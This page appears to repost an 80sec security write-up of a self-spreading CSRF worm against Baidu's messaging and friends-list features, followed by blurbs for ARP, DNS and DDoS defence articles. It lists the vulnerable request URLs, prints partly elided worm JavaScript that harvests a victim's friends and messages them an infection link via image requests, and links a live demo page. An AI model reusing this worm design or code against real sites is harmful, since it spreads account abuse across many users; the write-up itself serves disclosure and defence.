百度Hi Csrf蠕虫攻击

所属分类: 网络安全 / 黑客教程 阅读数: 182
收藏 0 赞 0 分享
漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞黑客可以制作Web蠕虫,影响百度所有的用户。

CSRF worm技术分析:

一. 百度用户中心短消息功能存在CSRF漏洞

百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度ID用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任何限制,同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今尚未修补。

二. 百度空间好友json数据泄露问题

百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下

http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends

该漏洞可以直接被Javascript劫持技术利用,获取用户的好友信息.

三. 百度认证问题

web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。

四. CSRF JavaScript_Hijacking Session Auth= CSRF worm

CSRF攻击结合Javascript劫持技术完全可以实现CSRF worm,百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本实现的CSRF蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:

1. 模拟服务端取得request的参数

var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);

省略…………….

定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。

2. 好友json数据的动态获取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″><\/script>’);

通过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。

3. 感染信息输出和消息发送的核心部分

evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new Image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….

整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个FOR循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。

4. 注意细节

由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。

5. CSRF Worm DEMO页

这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试,非安全测试的其他行为,80SEC将不负任何责任。测试方法:

将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面

http://www.80sec.com/wish.php?to=自己的百度用户名

五 CSRF worm安全提醒:

除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,黑客可以直接通过CSRF攻击配合各种功能应用针对网站进行CSRF worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。

百度Hi Csrf蠕虫攻击:http://www.80sec.com/baidu-hi-scrf-worm-attac.html


更多精彩内容其他人还在看

病毒、木马ARP攻击行为的原理分析及解决思路

带有ARP攻击行为的病毒,木马很是常见,主要有两种表现形式:频繁的出现地址冲突的现象以及 上网速度很慢甚至上不了网,这类问题如何解决呐?
收藏 0 赞 0 分享

ARP欺骗攻击原理另一种理解方法

本文子明特别用通俗的例子,说明ARP欺骗攻击的原理,使ARP欺骗攻击原理更加清楚的展现在你的面前。
收藏 0 赞 0 分享

七招教你抵御ARP欺骗攻击

本文介绍了七种简易方法助你抵御ARP欺骗攻击,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

全面剖析DDoS攻击 黑客常用攻击方式

纵观网络安全攻击的各种方式方法,其中DDoS类的攻击会给你的网络系统造成更大的危害。因此,了解DDoS,了解它的工作原理及防范措施,是一个计算机网络安全技术人员应必修的内容之一。
收藏 0 赞 0 分享

最简单的防止ARP欺骗的方法

局域网中的计算机容易遭受攻击的原因是使用动态的arp获取协议所以很不安全,当把arp协议设为静态的可以杜绝arp攻击的发生,需要了解的朋友可以参考一下
收藏 0 赞 0 分享

路由器防止ARP欺骗的设置步骤

ARP欺骗是一个比较常见的网络问题,它会盗取用户账号,还会导致网络的瘫痪。为此,很多路由器开发商都设置了路由器防止ARP欺骗的功能。下面小编说说路由器防止ARP欺骗的设置方法。
收藏 0 赞 0 分享

怎样隔离ARP攻击源 电脑受到ARP断网攻击应对策略

局域网如何隔离感染ARP病毒的电脑呢?当局域网电脑存在ARP病毒时,会导致其它电脑出现断网现象。对此比较好的解决方法就是将ARP攻击源给隔离掉。以下就是具体的实现方法。
收藏 0 赞 0 分享

如何从运营角度保障DNS安全

如何从不同层面综合运营,保证DNS服务安全高效的运行?DNSPod工程师认为,主要应该从状态监控、信息告警、事件处理、数据记录、综合运营数据分析这五个方面入手。
收藏 0 赞 0 分享

DNS欺骗的原理 DNS防御实战演练

DNS即Domain Name System的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来解析域名的。
收藏 0 赞 0 分享

对付DDoS攻击的三大绝招

不知道身为网络管理员的你是否遇到过服务器因为拒绝服务攻击都瘫痪的情况呢?就网络安全而言目前最让人担心和害怕的入侵攻击就要算是拒绝服务攻击了。和传统的攻击不同,采取的是仿真多个客户端来连接服务器,造成服务器无法完成如此多的客户端连接,从而无法提供服务。
收藏 0 赞 0 分享
查看更多